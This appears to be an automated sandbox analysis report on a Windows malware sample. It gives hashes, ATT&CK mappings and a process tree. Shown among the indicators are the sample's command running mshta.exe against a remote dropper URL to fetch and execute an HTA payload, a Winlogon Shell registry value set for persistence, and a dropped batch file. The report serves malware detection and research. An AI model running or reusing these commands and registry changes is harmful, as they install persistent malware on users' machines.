fd7009adb7b014f3b9c6bb2160e045fa50a0209681c7b59a2f1e68702f9345d7

Reason

Machine shutdown

General

Target

b8246260c03372bf7b2b17acb57aa868.exe
Size

686KB
MD5

b8246260c03372bf7b2b17acb57aa868
SHA1

26a0753a1a75f4c252fb913e0984c6cd7b1b8175
SHA256

fd7009adb7b014f3b9c6bb2160e045fa50a0209681c7b59a2f1e68702f9345d7
SHA512

86b1cec1e6fb4dd76a4bdf63c43eecadc7f5a0ad4e31f36c5c5fb3cadeec849a004199998c7a27ee30e36eb74ed6199c8c1835cb198318f57fd15cbaf9774747
SSDEEP

12288:iMm+m65MXsAGBLUc2k+CR/rvNKOHGiv1haSevAXFzmm388fw8a:5B55McAUf7NKO7j5IYfa

Score

10^/10

persistence upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://lastreporteriche.com/inst.php?id=skytraf01

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\hotfix.exe"	b8246260c03372bf7b2b17acb57aa868.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2740-0-0x0000000000400000-0x00000000006EC000-memory.dmp	upx
behavioral1/memory/2740-14-0x0000000000400000-0x00000000006EC000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 40 IoCs

pid	Process
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2740	b8246260c03372bf7b2b17acb57aa868.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2740	b8246260c03372bf7b2b17acb57aa868.exe
2740	b8246260c03372bf7b2b17acb57aa868.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2740 wrote to memory of 2560	2740	b8246260c03372bf7b2b17acb57aa868.exe	28
PID 2740 wrote to memory of 2560	2740	b8246260c03372bf7b2b17acb57aa868.exe	28
PID 2740 wrote to memory of 2560	2740	b8246260c03372bf7b2b17acb57aa868.exe	28
PID 2740 wrote to memory of 2560	2740	b8246260c03372bf7b2b17acb57aa868.exe	28
PID 2740 wrote to memory of 2152	2740	b8246260c03372bf7b2b17acb57aa868.exe	29
PID 2740 wrote to memory of 2152	2740	b8246260c03372bf7b2b17acb57aa868.exe	29
PID 2740 wrote to memory of 2152	2740	b8246260c03372bf7b2b17acb57aa868.exe	29
PID 2740 wrote to memory of 2152	2740	b8246260c03372bf7b2b17acb57aa868.exe	29

C:\Users\Admin\AppData\Local\Temp\b8246260c03372bf7b2b17acb57aa868.exe
"C:\Users\Admin\AppData\Local\Temp\b8246260c03372bf7b2b17acb57aa868.exe"
1⤵
- Modifies WinLogon for persistence
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2740
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" http://lastreporteriche.com/inst.php?id=skytraf01
  2⤵
  - Modifies Internet Explorer settings
  PID:2560
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Roaming\shire.bat" "
  2⤵
  PID:2152

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:2448

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:1008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\shire.bat

Filesize
232B

MD5
b156fbe149339c448b2bd50efde7624f

SHA1
eccd9e85a2dca6005f23bf3721910ad4bf359f98

SHA256
0e6626acb5e2e3040969763d0d467b0d9fbb9ff36f8f0a553c47aa9681988245

SHA512
98b76fdd22c9aeebde8e30e4e7577b11d0af3a47aa307de3d2412ea3c2442c7697da94b824f402937776c3822d901202fd28538a251b3b1b3b24574405fe1a3a

Download Submit
memory/1008-15-0x00000000026E0000-0x00000000026E1000-memory.dmp

Filesize
4KB

Download
memory/2448-13-0x0000000002B00000-0x0000000002B01000-memory.dmp

Filesize
4KB

Download
memory/2740-0-0x0000000000400000-0x00000000006EC000-memory.dmp

Filesize
2.9MB

Download
memory/2740-1-0x00000000001D0000-0x00000000001D1000-memory.dmp

Filesize
4KB

Download
memory/2740-2-0x0000000003C50000-0x0000000003C60000-memory.dmp

Filesize
64KB

Download
memory/2740-14-0x0000000000400000-0x00000000006EC000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads